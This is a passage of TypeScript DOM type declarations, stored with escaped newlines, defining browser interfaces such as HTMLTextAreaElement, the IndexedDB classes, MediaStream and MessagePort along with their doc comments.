useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTemplateElement: {\\n    prototype: HTMLTemplateElement;\\n    new(): HTMLTemplateElement;\\n};\\n\\ninterface HTMLTextAreaElement extends HTMLElement {\\n    /**\\n     * Provides a way to direct a user to a specific field when a document loads. This can provide both direction and convenience for a user, reducing the need to click or tab to a field when a page opens. This attribute is true when present on an element, and false when missing.\\n     */\\n    autofocus: boolean;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    cols: number;\\n    /**\\n     * Sets or retrieves the initial contents of the object.\\n     */\\n    defaultValue: string;\\n    disabled: boolean;\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    /**\\n     * Sets or retrieves the maximum number of characters that the user can enter in a text control.\\n     */\\n    maxLength: number;\\n    /**\\n     * Sets or retrieves the name of the object.\\n     */\\n    name: string;\\n    /**\\n     * Gets or sets a text string that is displayed in an input field as a hint or prompt to users as the format or type of information they need to enter.The text appears in an input field until the user puts focus on the field.\\n     */\\n    placeholder: string;\\n    /**\\n     * Sets or retrieves the value indicated whether the content of the object is read-only.\\n     */\\n    readOnly: boolean;\\n    /**\\n     * When present, marks an element that can\\'t be submitted without a value.\\n     */\\n    required: boolean;\\n    /**\\n     * Sets or retrieves the number of horizontal rows contained in the object.\\n     */\\n    rows: number;\\n    /**\\n     * Gets or sets the end position or offset of a text selection.\\n     */\\n    selectionEnd: number;\\n    /**\\n     * Gets or sets the starting position or offset of a text selection.\\n     */\\n    selectionStart: number;\\n    /**\\n     * Sets or retrieves the value indicating whether the control is selected.\\n     */\\n    status: any;\\n    /**\\n     * Retrieves the type of control.\\n     */\\n    readonly type: string;\\n    /**\\n     * Returns the error message that would be displayed if the user submits the form, or an empty string if no error message. It also triggers the standard error message, such as \"this is a required field\". The result is that the user sees validation messages without actually submitting.\\n     */\\n    readonly validationMessage: string;\\n    /**\\n     * Returns a  ValidityState object that represents the validity states of an element.\\n     */\\n    readonly validity: ValidityState;\\n    /**\\n     * Retrieves or sets the text in the entry field of the textArea element.\\n     */\\n    value: string;\\n    /**\\n     * Returns whether an element will successfully validate based on forms validation rules and constraints.\\n     */\\n    readonly willValidate: boolean;\\n    /**\\n     * Sets or retrieves how to handle wordwrapping in the object.\\n     */\\n    wrap: string;\\n    minLength: number;\\n    /**\\n     * Returns whether a form will validate when it is submitted, without having to submit it.\\n     */\\n    checkValidity(): boolean;\\n    /**\\n     * Highlights the input area of a form element.\\n     */\\n    select(): void;\\n    /**\\n     * Sets a custom error message that is displayed when a form is submitted.\\n     * @param error Sets a custom error message that is displayed when a form is submitted.\\n     */\\n    setCustomValidity(error: string): void;\\n    /**\\n     * Sets the start and end positions of a selection in a text field.\\n     * @param start The offset into the text field for the start of the selection.\\n     * @param end The offset into the text field for the end of the selection.\\n     */\\n    setSelectionRange(start: number, end: number): void;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTextAreaElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTextAreaElement: {\\n    prototype: HTMLTextAreaElement;\\n    new(): HTMLTextAreaElement;\\n};\\n\\ninterface HTMLTimeElement extends HTMLElement {\\n    dateTime: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTimeElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTimeElement: {\\n    prototype: HTMLTimeElement;\\n    new(): HTMLTimeElement;\\n};\\n\\ninterface HTMLTitleElement extends HTMLElement {\\n    /**\\n     * Retrieves or sets the text of the object as a string.\\n     */\\n    text: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTitleElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTitleElement: {\\n    prototype: HTMLTitleElement;\\n    new(): HTMLTitleElement;\\n};\\n\\ninterface HTMLTrackElement extends HTMLElement {\\n    default: boolean;\\n    kind: string;\\n    label: string;\\n    readonly readyState: number;\\n    src: string;\\n    srclang: string;\\n    readonly track: TextTrack;\\n    readonly ERROR: number;\\n    readonly LOADED: number;\\n    readonly LOADING: number;\\n    readonly NONE: number;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTrackElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTrackElement: {\\n    prototype: HTMLTrackElement;\\n    new(): HTMLTrackElement;\\n    readonly ERROR: number;\\n    readonly LOADED: number;\\n    readonly LOADING: number;\\n    readonly NONE: number;\\n};\\n\\ninterface HTMLUListElement extends HTMLElement {\\n    compact: boolean;\\n    type: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLUListElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLUListElement: {\\n    prototype: HTMLUListElement;\\n    new(): HTMLUListElement;\\n};\\n\\ninterface HTMLUnknownElement extends HTMLElement {\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLUnknownElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLUnknownElement: {\\n    prototype: HTMLUnknownElement;\\n    new(): HTMLUnknownElement;\\n};\\n\\ninterface HTMLVideoElementEventMap extends HTMLMediaElementEventMap {\\n    \"MSVideoFormatChanged\": Event;\\n    \"MSVideoFrameStepCompleted\": Event;\\n    \"MSVideoOptimalLayoutChanged\": Event;\\n}\\n\\ninterface HTMLVideoElement extends HTMLMediaElement {\\n    /**\\n     * Gets or sets the height of the video element.\\n     */\\n    height: number;\\n    msHorizontalMirror: boolean;\\n    readonly msIsLayoutOptimalForPlayback: boolean;\\n    readonly msIsStereo3D: boolean;\\n    msStereo3DPackingMode: string;\\n    msStereo3DRenderMode: string;\\n    msZoom: boolean;\\n    onMSVideoFormatChanged: (this: HTMLVideoElement, ev: Event) => any;\\n    onMSVideoFrameStepCompleted: (this: HTMLVideoElement, ev: Event) => any;\\n    onMSVideoOptimalLayoutChanged: (this: HTMLVideoElement, ev: Event) => any;\\n    /**\\n     * Gets or sets a URL of an image to display, for example, like a movie poster. This can be a still frame from the video, or another image if no video data is available.\\n     */\\n    poster: string;\\n    /**\\n     * Gets the intrinsic height of a video in CSS pixels, or zero if the dimensions are not known.\\n     */\\n    readonly videoHeight: number;\\n    /**\\n     * Gets the intrinsic width of a video in CSS pixels, or zero if the dimensions are not known.\\n     */\\n    readonly videoWidth: number;\\n    readonly webkitDisplayingFullscreen: boolean;\\n    readonly webkitSupportsFullscreen: boolean;\\n    /**\\n     * Gets or sets the width of the video element.\\n     */\\n    width: number;\\n    getVideoPlaybackQuality(): VideoPlaybackQuality;\\n    msFrameStep(forward: boolean): void;\\n    msInsertVideoEffect(activatableClassId: string, effectRequired: boolean, config?: any): void;\\n    msSetVideoRectangle(left: number, top: number, right: number, bottom: number): void;\\n    webkitEnterFullscreen(): void;\\n    webkitEnterFullScreen(): void;\\n    webkitExitFullscreen(): void;\\n    webkitExitFullScreen(): void;\\n    addEventListener<K extends keyof HTMLVideoElementEventMap>(type: K, listener: (this: HTMLVideoElement, ev: HTMLVideoElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLVideoElement: {\\n    prototype: HTMLVideoElement;\\n    new(): HTMLVideoElement;\\n};\\n\\ninterface IDBCursor {\\n    readonly direction: IDBCursorDirection;\\n    key: IDBKeyRange | IDBValidKey;\\n    readonly primaryKey: any;\\n    source: IDBObjectStore | IDBIndex;\\n    advance(count: number): void;\\n    continue(key?: IDBKeyRange | IDBValidKey): void;\\n    delete(): IDBRequest;\\n    update(value: any): IDBRequest;\\n    readonly NEXT: string;\\n    readonly NEXT_NO_DUPLICATE: string;\\n    readonly PREV: string;\\n    readonly PREV_NO_DUPLICATE: string;\\n}\\n\\ndeclare var IDBCursor: {\\n    prototype: IDBCursor;\\n    new(): IDBCursor;\\n    readonly NEXT: string;\\n    readonly NEXT_NO_DUPLICATE: string;\\n    readonly PREV: string;\\n    readonly PREV_NO_DUPLICATE: string;\\n};\\n\\ninterface IDBCursorWithValue extends IDBCursor {\\n    readonly value: any;\\n}\\n\\ndeclare var IDBCursorWithValue: {\\n    prototype: IDBCursorWithValue;\\n    new(): IDBCursorWithValue;\\n};\\n\\ninterface IDBDatabaseEventMap {\\n    \"abort\": Event;\\n    \"error\": Event;\\n}\\n\\ninterface IDBDatabase extends EventTarget {\\n    readonly name: string;\\n    readonly objectStoreNames: DOMStringList;\\n    onabort: (this: IDBDatabase, ev: Event) => any;\\n    onerror: (this: IDBDatabase, ev: Event) => any;\\n    version: number;\\n    onversionchange: (ev: IDBVersionChangeEvent) => any;\\n    close(): void;\\n    createObjectStore(name: string, optionalParameters?: IDBObjectStoreParameters): IDBObjectStore;\\n    deleteObjectStore(name: string): void;\\n    transaction(storeNames: string | string[], mode?: IDBTransactionMode): IDBTransaction;\\n    addEventListener(type: \"versionchange\", listener: (ev: IDBVersionChangeEvent) => any, useCapture?: boolean): void;\\n    addEventListener<K extends keyof IDBDatabaseEventMap>(type: K, listener: (this: IDBDatabase, ev: IDBDatabaseEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var IDBDatabase: {\\n    prototype: IDBDatabase;\\n    new(): IDBDatabase;\\n};\\n\\ninterface IDBFactory {\\n    cmp(first: any, second: any): number;\\n    deleteDatabase(name: string): IDBOpenDBRequest;\\n    open(name: string, version?: number): IDBOpenDBRequest;\\n}\\n\\ndeclare var IDBFactory: {\\n    prototype: IDBFactory;\\n    new(): IDBFactory;\\n};\\n\\ninterface IDBIndex {\\n    keyPath: string | string[];\\n    readonly name: string;\\n    readonly objectStore: IDBObjectStore;\\n    readonly unique: boolean;\\n    multiEntry: boolean;\\n    count(key?: IDBKeyRange | IDBValidKey): IDBRequest;\\n    get(key: IDBKeyRange | IDBValidKey): IDBRequest;\\n    getKey(key: IDBKeyRange | IDBValidKey): IDBRequest;\\n    openCursor(range?: IDBKeyRange | IDBValidKey, direction?: IDBCursorDirection): IDBRequest;\\n    openKeyCursor(range?: IDBKeyRange | IDBValidKey, direction?: IDBCursorDirection): IDBRequest;\\n}\\n\\ndeclare var IDBIndex: {\\n    prototype: IDBIndex;\\n    new(): IDBIndex;\\n};\\n\\ninterface IDBKeyRange {\\n    readonly lower: any;\\n    readonly lowerOpen: boolean;\\n    readonly upper: any;\\n    readonly upperOpen: boolean;\\n}\\n\\ndeclare var IDBKeyRange: {\\n    prototype: IDBKeyRange;\\n    new(): IDBKeyRange;\\n    bound(lower: any, upper: any, lowerOpen?: boolean, upperOpen?: boolean): IDBKeyRange;\\n    lowerBound(lower: any, open?: boolean): IDBKeyRange;\\n    only(value: any): IDBKeyRange;\\n    upperBound(upper: any, open?: boolean): IDBKeyRange;\\n};\\n\\ninterface IDBObjectStore {\\n    readonly indexNames: DOMStringList;\\n    keyPath: string | string[];\\n    readonly name: string;\\n    readonly transaction: IDBTransaction;\\n    autoIncrement: boolean;\\n    add(value: any, key?: IDBKeyRange | IDBValidKey): IDBRequest;\\n    clear(): IDBRequest;\\n    count(key?: IDBKeyRange | IDBValidKey): IDBRequest;\\n    createIndex(name: string, keyPath: string | string[], optionalParameters?: IDBIndexParameters): IDBIndex;\\n    delete(key: IDBKeyRange | IDBValidKey): IDBRequest;\\n    deleteIndex(indexName: string): void;\\n    get(key: any): IDBRequest;\\n    index(name: string): IDBIndex;\\n    openCursor(range?: IDBKeyRange | IDBValidKey, direction?: IDBCursorDirection): IDBRequest;\\n    put(value: any, key?: IDBKeyRange | IDBValidKey): IDBRequest;\\n}\\n\\ndeclare var IDBObjectStore: {\\n    prototype: IDBObjectStore;\\n    new(): IDBObjectStore;\\n};\\n\\ninterface IDBOpenDBRequestEventMap extends IDBRequestEventMap {\\n    \"blocked\": Event;\\n    \"upgradeneeded\": IDBVersionChangeEvent;\\n}\\n\\ninterface IDBOpenDBRequest extends IDBRequest {\\n    onblocked: (this: IDBOpenDBRequest, ev: Event) => any;\\n    onupgradeneeded: (this: IDBOpenDBRequest, ev: IDBVersionChangeEvent) => any;\\n    addEventListener<K extends keyof IDBOpenDBRequestEventMap>(type: K, listener: (this: IDBOpenDBRequest, ev: IDBOpenDBRequestEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var IDBOpenDBRequest: {\\n    prototype: IDBOpenDBRequest;\\n    new(): IDBOpenDBRequest;\\n};\\n\\ninterface IDBRequestEventMap {\\n    \"error\": Event;\\n    \"success\": Event;\\n}\\n\\ninterface IDBRequest extends EventTarget {\\n    readonly error: DOMException;\\n    onerror: (this: IDBRequest, ev: Event) => any;\\n    onsuccess: (this: IDBRequest, ev: Event) => any;\\n    readonly readyState: IDBRequestReadyState;\\n    readonly result: any;\\n    source: IDBObjectStore | IDBIndex | IDBCursor;\\n    readonly transaction: IDBTransaction;\\n    addEventListener<K extends keyof IDBRequestEventMap>(type: K, listener: (this: IDBRequest, ev: IDBRequestEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var IDBRequest: {\\n    prototype: IDBRequest;\\n    new(): IDBRequest;\\n};\\n\\ninterface IDBTransactionEventMap {\\n    \"abort\": Event;\\n    \"complete\": Event;\\n    \"error\": Event;\\n}\\n\\ninterface IDBTransaction extends EventTarget {\\n    readonly db: IDBDatabase;\\n    readonly error: DOMException;\\n    readonly mode: IDBTransactionMode;\\n    onabort: (this: IDBTransaction, ev: Event) => any;\\n    oncomplete: (this: IDBTransaction, ev: Event) => any;\\n    onerror: (this: IDBTransaction, ev: Event) => any;\\n    abort(): void;\\n    objectStore(name: string): IDBObjectStore;\\n    readonly READ_ONLY: string;\\n    readonly READ_WRITE: string;\\n    readonly VERSION_CHANGE: string;\\n    addEventListener<K extends keyof IDBTransactionEventMap>(type: K, listener: (this: IDBTransaction, ev: IDBTransactionEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var IDBTransaction: {\\n    prototype: IDBTransaction;\\n    new(): IDBTransaction;\\n    readonly READ_ONLY: string;\\n    readonly READ_WRITE: string;\\n    readonly VERSION_CHANGE: string;\\n};\\n\\ninterface IDBVersionChangeEvent extends Event {\\n    readonly newVersion: number | null;\\n    readonly oldVersion: number;\\n}\\n\\ndeclare var IDBVersionChangeEvent: {\\n    prototype: IDBVersionChangeEvent;\\n    new(): IDBVersionChangeEvent;\\n};\\n\\ninterface IIRFilterNode extends AudioNode {\\n    getFrequencyResponse(frequencyHz: Float32Array, magResponse: Float32Array, phaseResponse: Float32Array): void;\\n}\\n\\ndeclare var IIRFilterNode: {\\n    prototype: IIRFilterNode;\\n    new(): IIRFilterNode;\\n};\\n\\ninterface ImageData {\\n    data: Uint8ClampedArray;\\n    readonly height: number;\\n    readonly width: number;\\n}\\n\\ndeclare var ImageData: {\\n    prototype: ImageData;\\n    new(width: number, height: number): ImageData;\\n    new(array: Uint8ClampedArray, width: number, height: number): ImageData;\\n};\\n\\ninterface IntersectionObserver {\\n    readonly root: Element | null;\\n    readonly rootMargin: string;\\n    readonly thresholds: number[];\\n    disconnect(): void;\\n    observe(target: Element): void;\\n    takeRecords(): IntersectionObserverEntry[];\\n    unobserve(target: Element): void;\\n}\\n\\ndeclare var IntersectionObserver: {\\n    prototype: IntersectionObserver;\\n    new(callback: IntersectionObserverCallback, options?: IntersectionObserverInit): IntersectionObserver;\\n};\\n\\ninterface IntersectionObserverEntry {\\n    readonly boundingClientRect: ClientRect;\\n    readonly intersectionRatio: number;\\n    readonly intersectionRect: ClientRect;\\n    readonly rootBounds: ClientRect;\\n    readonly target: Element;\\n    readonly time: number;\\n}\\n\\ndeclare var IntersectionObserverEntry: {\\n    prototype: IntersectionObserverEntry;\\n    new(intersectionObserverEntryInit: IntersectionObserverEntryInit): IntersectionObserverEntry;\\n};\\n\\ninterface KeyboardEvent extends UIEvent {\\n    readonly altKey: boolean;\\n    readonly char: string | null;\\n    readonly charCode: number;\\n    readonly ctrlKey: boolean;\\n    readonly key: string;\\n    readonly keyCode: number;\\n    readonly locale: string;\\n    readonly location: number;\\n    readonly metaKey: boolean;\\n    readonly repeat: boolean;\\n    readonly shiftKey: boolean;\\n    readonly which: number;\\n    readonly code: string;\\n    getModifierState(keyArg: string): boolean;\\n    initKeyboardEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, keyArg: string, locationArg: number, modifiersListArg: string, repeat: boolean, locale: string): void;\\n    readonly DOM_KEY_LOCATION_JOYSTICK: number;\\n    readonly DOM_KEY_LOCATION_LEFT: number;\\n    readonly DOM_KEY_LOCATION_MOBILE: number;\\n    readonly DOM_KEY_LOCATION_NUMPAD: number;\\n    readonly DOM_KEY_LOCATION_RIGHT: number;\\n    readonly DOM_KEY_LOCATION_STANDARD: number;\\n}\\n\\ndeclare var KeyboardEvent: {\\n    prototype: KeyboardEvent;\\n    new(typeArg: string, eventInitDict?: KeyboardEventInit): KeyboardEvent;\\n    readonly DOM_KEY_LOCATION_JOYSTICK: number;\\n    readonly DOM_KEY_LOCATION_LEFT: number;\\n    readonly DOM_KEY_LOCATION_MOBILE: number;\\n    readonly DOM_KEY_LOCATION_NUMPAD: number;\\n    readonly DOM_KEY_LOCATION_RIGHT: number;\\n    readonly DOM_KEY_LOCATION_STANDARD: number;\\n};\\n\\ninterface ListeningStateChangedEvent extends Event {\\n    readonly label: string;\\n    readonly state: ListeningState;\\n}\\n\\ndeclare var ListeningStateChangedEvent: {\\n    prototype: ListeningStateChangedEvent;\\n    new(): ListeningStateChangedEvent;\\n};\\n\\ninterface Location {\\n    hash: string;\\n    host: string;\\n    hostname: string;\\n    href: string;\\n    readonly origin: string;\\n    pathname: string;\\n    port: string;\\n    protocol: string;\\n    search: string;\\n    assign(url: string): void;\\n    reload(forcedReload?: boolean): void;\\n    replace(url: string): void;\\n    toString(): string;\\n}\\n\\ndeclare var Location: {\\n    prototype: Location;\\n    new(): Location;\\n};\\n\\ninterface LongRunningScriptDetectedEvent extends Event {\\n    readonly executionTime: number;\\n    stopPageScriptExecution: boolean;\\n}\\n\\ndeclare var LongRunningScriptDetectedEvent: {\\n    prototype: LongRunningScriptDetectedEvent;\\n    new(): LongRunningScriptDetectedEvent;\\n};\\n\\ninterface MediaDeviceInfo {\\n    readonly deviceId: string;\\n    readonly groupId: string;\\n    readonly kind: MediaDeviceKind;\\n    readonly label: string;\\n}\\n\\ndeclare var MediaDeviceInfo: {\\n    prototype: MediaDeviceInfo;\\n    new(): MediaDeviceInfo;\\n};\\n\\ninterface MediaDevicesEventMap {\\n    \"devicechange\": Event;\\n}\\n\\ninterface MediaDevices extends EventTarget {\\n    ondevicechange: (this: MediaDevices, ev: Event) => any;\\n    enumerateDevices(): any;\\n    getSupportedConstraints(): MediaTrackSupportedConstraints;\\n    getUserMedia(constraints: MediaStreamConstraints): Promise<MediaStream>;\\n    addEventListener<K extends keyof MediaDevicesEventMap>(type: K, listener: (this: MediaDevices, ev: MediaDevicesEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var MediaDevices: {\\n    prototype: MediaDevices;\\n    new(): MediaDevices;\\n};\\n\\ninterface MediaElementAudioSourceNode extends AudioNode {\\n}\\n\\ndeclare var MediaElementAudioSourceNode: {\\n    prototype: MediaElementAudioSourceNode;\\n    new(): MediaElementAudioSourceNode;\\n};\\n\\ninterface MediaEncryptedEvent extends Event {\\n    readonly initData: ArrayBuffer | null;\\n    readonly initDataType: string;\\n}\\n\\ndeclare var MediaEncryptedEvent: {\\n    prototype: MediaEncryptedEvent;\\n    new(type: string, eventInitDict?: MediaEncryptedEventInit): MediaEncryptedEvent;\\n};\\n\\ninterface MediaError {\\n    readonly code: number;\\n    readonly msExtendedCode: number;\\n    readonly MEDIA_ERR_ABORTED: number;\\n    readonly MEDIA_ERR_DECODE: number;\\n    readonly MEDIA_ERR_NETWORK: number;\\n    readonly MEDIA_ERR_SRC_NOT_SUPPORTED: number;\\n    readonly MS_MEDIA_ERR_ENCRYPTED: number;\\n}\\n\\ndeclare var MediaError: {\\n    prototype: MediaError;\\n    new(): MediaError;\\n    readonly MEDIA_ERR_ABORTED: number;\\n    readonly MEDIA_ERR_DECODE: number;\\n    readonly MEDIA_ERR_NETWORK: number;\\n    readonly MEDIA_ERR_SRC_NOT_SUPPORTED: number;\\n    readonly MS_MEDIA_ERR_ENCRYPTED: number;\\n};\\n\\ninterface MediaKeyMessageEvent extends Event {\\n    readonly message: ArrayBuffer;\\n    readonly messageType: MediaKeyMessageType;\\n}\\n\\ndeclare var MediaKeyMessageEvent: {\\n    prototype: MediaKeyMessageEvent;\\n    new(type: string, eventInitDict?: MediaKeyMessageEventInit): MediaKeyMessageEvent;\\n};\\n\\ninterface MediaKeys {\\n    createSession(sessionType?: MediaKeySessionType): MediaKeySession;\\n    setServerCertificate(serverCertificate: any): Promise<void>;\\n}\\n\\ndeclare var MediaKeys: {\\n    prototype: MediaKeys;\\n    new(): MediaKeys;\\n};\\n\\ninterface MediaKeySession extends EventTarget {\\n    readonly closed: Promise<void>;\\n    readonly expiration: number;\\n    readonly keyStatuses: MediaKeyStatusMap;\\n    readonly sessionId: string;\\n    close(): Promise<void>;\\n    generateRequest(initDataType: string, initData: any): Promise<void>;\\n    load(sessionId: string): Promise<boolean>;\\n    remove(): Promise<void>;\\n    update(response: any): Promise<void>;\\n}\\n\\ndeclare var MediaKeySession: {\\n    prototype: MediaKeySession;\\n    new(): MediaKeySession;\\n};\\n\\ninterface MediaKeyStatusMap {\\n    readonly size: number;\\n    forEach(callback: ForEachCallback): void;\\n    get(keyId: any): MediaKeyStatus;\\n    has(keyId: any): boolean;\\n}\\n\\ndeclare var MediaKeyStatusMap: {\\n    prototype: MediaKeyStatusMap;\\n    new(): MediaKeyStatusMap;\\n};\\n\\ninterface MediaKeySystemAccess {\\n    readonly keySystem: string;\\n    createMediaKeys(): Promise<MediaKeys>;\\n    getConfiguration(): MediaKeySystemConfiguration;\\n}\\n\\ndeclare var MediaKeySystemAccess: {\\n    prototype: MediaKeySystemAccess;\\n    new(): MediaKeySystemAccess;\\n};\\n\\ninterface MediaList {\\n    readonly length: number;\\n    mediaText: string;\\n    appendMedium(newMedium: string): void;\\n    deleteMedium(oldMedium: string): void;\\n    item(index: number): string;\\n    toString(): string;\\n    [index: number]: string;\\n}\\n\\ndeclare var MediaList: {\\n    prototype: MediaList;\\n    new(): MediaList;\\n};\\n\\ninterface MediaQueryList {\\n    readonly matches: boolean;\\n    readonly media: string;\\n    addListener(listener: MediaQueryListListener): void;\\n    removeListener(listener: MediaQueryListListener): void;\\n}\\n\\ndeclare var MediaQueryList: {\\n    prototype: MediaQueryList;\\n    new(): MediaQueryList;\\n};\\n\\ninterface MediaSource extends EventTarget {\\n    readonly activeSourceBuffers: SourceBufferList;\\n    duration: number;\\n    readonly readyState: string;\\n    readonly sourceBuffers: SourceBufferList;\\n    addSourceBuffer(type: string): SourceBuffer;\\n    endOfStream(error?: number): void;\\n    removeSourceBuffer(sourceBuffer: SourceBuffer): void;\\n}\\n\\ndeclare var MediaSource: {\\n    prototype: MediaSource;\\n    new(): MediaSource;\\n    isTypeSupported(type: string): boolean;\\n};\\n\\ninterface MediaStreamEventMap {\\n    \"active\": Event;\\n    \"addtrack\": MediaStreamTrackEvent;\\n    \"inactive\": Event;\\n    \"removetrack\": MediaStreamTrackEvent;\\n}\\n\\ninterface MediaStream extends EventTarget {\\n    readonly active: boolean;\\n    readonly id: string;\\n    onactive: (this: MediaStream, ev: Event) => any;\\n    onaddtrack: (this: MediaStream, ev: MediaStreamTrackEvent) => any;\\n    oninactive: (this: MediaStream, ev: Event) => any;\\n    onremovetrack: (this: MediaStream, ev: MediaStreamTrackEvent) => any;\\n    addTrack(track: MediaStreamTrack): void;\\n    clone(): MediaStream;\\n    getAudioTracks(): MediaStreamTrack[];\\n    getTrackById(trackId: string): MediaStreamTrack | null;\\n    getTracks(): MediaStreamTrack[];\\n    getVideoTracks(): MediaStreamTrack[];\\n    removeTrack(track: MediaStreamTrack): void;\\n    stop(): void;\\n    addEventListener<K extends keyof MediaStreamEventMap>(type: K, listener: (this: MediaStream, ev: MediaStreamEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var MediaStream: {\\n    prototype: MediaStream;\\n    new(streamOrTracks?: MediaStream | MediaStreamTrack[]): MediaStream;\\n};\\n\\ninterface MediaStreamAudioSourceNode extends AudioNode {\\n}\\n\\ndeclare var MediaStreamAudioSourceNode: {\\n    prototype: MediaStreamAudioSourceNode;\\n    new(): MediaStreamAudioSourceNode;\\n};\\n\\ninterface MediaStreamError {\\n    readonly constraintName: string | null;\\n    readonly message: string | null;\\n    readonly name: string;\\n}\\n\\ndeclare var MediaStreamError: {\\n    prototype: MediaStreamError;\\n    new(): MediaStreamError;\\n};\\n\\ninterface MediaStreamErrorEvent extends Event {\\n    readonly error: MediaStreamError | null;\\n}\\n\\ndeclare var MediaStreamErrorEvent: {\\n    prototype: MediaStreamErrorEvent;\\n    new(typeArg: string, eventInitDict?: MediaStreamErrorEventInit): MediaStreamErrorEvent;\\n};\\n\\ninterface MediaStreamEvent extends Event {\\n    readonly stream: MediaStream | null;\\n}\\n\\ndeclare var MediaStreamEvent: {\\n    prototype: MediaStreamEvent;\\n    new(type: string, eventInitDict: MediaStreamEventInit): MediaStreamEvent;\\n};\\n\\ninterface MediaStreamTrackEventMap {\\n    \"ended\": MediaStreamErrorEvent;\\n    \"mute\": Event;\\n    \"overconstrained\": MediaStreamErrorEvent;\\n    \"unmute\": Event;\\n}\\n\\ninterface MediaStreamTrack extends EventTarget {\\n    enabled: boolean;\\n    readonly id: string;\\n    readonly kind: string;\\n    readonly label: string;\\n    readonly muted: boolean;\\n    onended: (this: MediaStreamTrack, ev: MediaStreamErrorEvent) => any;\\n    onmute: (this: MediaStreamTrack, ev: Event) => any;\\n    onoverconstrained: (this: MediaStreamTrack, ev: MediaStreamErrorEvent) => any;\\n    onunmute: (this: MediaStreamTrack, ev: Event) => any;\\n    readonly readonly: boolean;\\n    readonly readyState: MediaStreamTrackState;\\n    readonly remote: boolean;\\n    applyConstraints(constraints: MediaTrackConstraints): Promise<void>;\\n    clone(): MediaStreamTrack;\\n    getCapabilities(): MediaTrackCapabilities;\\n    getConstraints(): MediaTrackConstraints;\\n    getSettings(): MediaTrackSettings;\\n    stop(): void;\\n    addEventListener<K extends keyof MediaStreamTrackEventMap>(type: K, listener: (this: MediaStreamTrack, ev: MediaStreamTrackEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var MediaStreamTrack: {\\n    prototype: MediaStreamTrack;\\n    new(): MediaStreamTrack;\\n};\\n\\ninterface MediaStreamTrackEvent extends Event {\\n    readonly track: MediaStreamTrack;\\n}\\n\\ndeclare var MediaStreamTrackEvent: {\\n    prototype: MediaStreamTrackEvent;\\n    new(typeArg: string, eventInitDict?: MediaStreamTrackEventInit): MediaStreamTrackEvent;\\n};\\n\\ninterface MessageChannel {\\n    readonly port1: MessagePort;\\n    readonly port2: MessagePort;\\n}\\n\\ndeclare var MessageChannel: {\\n    prototype: MessageChannel;\\n    new(): MessageChannel;\\n};\\n\\ninterface MessageEvent extends Event {\\n    readonly data: any;\\n    readonly origin: string;\\n    readonly ports: any;\\n    readonly source: Window;\\n    initMessageEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, dataArg: any, originArg: string, lastEventIdArg: string, sourceArg: Window): void;\\n}\\n\\ndeclare var MessageEvent: {\\n    prototype: MessageEvent;\\n    new(type: string, eventInitDict?: MessageEventInit): MessageEvent;\\n};\\n\\ninterface MessagePortEventMap {\\n    \"message\": MessageEvent;\\n}\\n\\ninterface MessagePort extends EventTarget {\\n    onmessage: (this: MessagePort, ev: MessageEvent) => any;\\n    close(): void;\\n    postMessage(message?: any, transfer?: any[]): void;\\n    start(): void;\\n    addEventListener<K extends keyof MessagePortEventMap>(type: K, listener: (this: MessagePort, ev: MessagePortEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var MessagePort: {\\n    prototype: MessagePort;\\n    new(): MessagePort;\\n};\\n\\ninterface MimeType {\\n    readonly description: string;\\n    readonly enabledPlugin: Plugin;\\n    